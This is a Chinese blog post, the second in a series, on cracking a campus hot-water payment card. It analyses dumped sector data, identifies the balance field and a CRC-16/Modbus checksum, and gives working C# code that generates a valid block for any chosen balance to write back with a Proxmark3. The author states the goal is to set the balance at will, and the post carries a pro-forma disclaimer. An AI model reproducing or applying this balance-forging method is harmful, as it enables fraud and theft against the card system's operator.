本文只作技术交流分享研究之用,请勿用于非法用途,否则后果自负。
上一篇文章是关于破解校园卡密码时发生的琐事的:https://www.jianshu.com/p/5eff935a5e9f
02扇区数据分析
上一篇文章结束,卡片复制也完成了。
但是,仅限于复制卡岂不是很无趣吗,我们得知道扇区里面的数据代表什么含义,随意控制余额才行啊。
根据之前的判断,02扇区是存储了洗澡热水的数据,我们来观察一下
2 扇区
0区块:00 02 3A DE 06 85 11 11 11 00 00 00 00 10 15 F5
1区块:00 05 00 00 13 E5 00 00 00 00 00 00 00 00 8A AB
2区块:00 05 00 00 13 E8 00 00 00 00 00 00 00 00 86 3A
注:学校的这个水卡机是用水量对应的金额每到0.03元进行一次扣费。另外只要刷一次就扣0.03元,不管有没有出水
0块在几次刷卡前后都未发生变化,暂时不考虑
13E5和13E8两个数值不同而相似,首先怀疑它
转为10进制分别为5093和5096
而卡上正好剩余了50.93元,于是这个数值的作用就显而易见了,另外一条为上一次交易的数据
复制一张卡去刷几次看看,记录下来
50.93
0005000013E50000000000000000A00A
0005000013E80000000000000000F89A
50.87
0005000013DF00000000000000008AAB
0005000013E20000000000000000863A
50.84
0005000013DF00000000000000008AAB
0005000013DC00000000000000009E5B
50.81
0005000013D90000000000000000A10B
0005000013DC00000000000000009E5B
40.91
000500000FFB0000000000000000E000
000500000FFE0000000000000000DF50
两条数据相互覆盖,没有先后关系
前面有一个5一直未发生改变,上次充值前是4,可能是充值一次+1,暂时不管它
所以重点就落在最后的四位上了
每次刷卡后这四位都会改变,且直接修改金额后无法读卡,所以这四位就是校验码
将数据刷回50.93的那条,重复刷卡-读卡步骤,得出的校验码和前一次是相同的,这说明它们之间存在一一对应关系
两次刷卡间隔很短,但校验码差别较大,可以排除时间码、整数与小数相加或者一些倒位操作的可能
于是现在的问题就在如何找到这个校验算法了,能不能找到还是得看人品
首先试试下面软件的各种算法,都没有得出理想的结果
既然可以用MD5、SHA-1校验,也可以用平时在winrar上经常看见的CRC32校验算法
于是我找到了这个在线计算CRC的网站
https://www.lammertbies.nl/comm/info/crc-calculation.html
这里的算法多用于串口通信的数据校验,我尝试把金额和校验位组合计算CRC16
意外地发现CRC-16和CRC-16(Modbus)两种校验码是一致的!
如果加上前面的充值计数呢
CRC16同样是一致的,而CRC16(Modbus)变成了0!
那么至此,已经可以说水卡的破解已经完成了
因为只要根据修改后的数据逆向算出校验码就可以通过机器的验证了
ModBus 通信协议的 CRC ( 冗余循环校验码含2个字节, 即 16 位二进制数。CRC 码由发送设备计算, 放置于所发送信息帧的尾部。接收信息设备再重新计算所接收信息 (除 CRC 之外的部分)的 CRC, 比较计算得到的 CRC 是否与接收到CRC相符, 如果两者不相符, 则认为数据出错。
来源及具体原理:https://www.cnblogs.com/jungle1989/p/6372527.html
最简单粗暴的方法就是穷举校验码,一共2^16即65536种情况,然后进行CRC校验,比对结果为0就是最终的校验码(其实是没找到反向计算的算法)
C#由16进制算CRC16 modbus:https://www.cnblogs.com/oukunqing/p/5820640.html
输入一个数比如50.93
输出的0005000013e50000000000000000a00a后直接填到pm3里写入就好了
C#代码,本着精简的原则没有对数据进行检查(其实是懒= =):
using System;
using System.Text;
class Program {
static void Main(string[] args) {
string[] str = Console.ReadLine().Split('.');
string hexMoney = Convert.ToString(Convert.ToInt32(str[0] + str[1]), 16).PadLeft(4, '0'), str0 = "00050000";
int i = 0;
while(i<0xFFFF && CRC16(str0+hexMoney+"0000000000000000"+Convert.ToString(i,16))!="0000") i++;
Console.WriteLine(str0+hexMoney+"0000000000000000"+Convert.ToString(i,16));
Console.ReadLine();
}
public static string CRC16(string str) {
StringBuilder s = new StringBuilder();
foreach (short c in str.ToCharArray())
if (c <= 0 || c >= 127) s.Append(c.ToString("X4"));
else s.Append((char)c);
string hex = s.ToString();
byte[] result = new byte[hex.Length / 2];
for (int i = 0, c = result.Length; i < c; i++)
result[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
ushort crc = 0xFFFF;
for (int i = 0; i < result.Length; i++) {
crc = (ushort)(crc ^ (result[i]));
for (int j = 0; j < 8; j++)
crc = (crc&1)!=0?(ushort)((crc>>1)^0xA001):(ushort)(crc>>1);
}
byte hi = (byte)((crc & 0xFF00) >> 8);
byte lo = (byte)(crc & 0x00FF);
return Convert.ToString(hi*0x100+lo, 16).ToUpper().PadLeft(4, '0');
}
}
于是就可以猥琐欲为了
以后再找找开水卡是怎样校验的
饭卡是联网的,别想了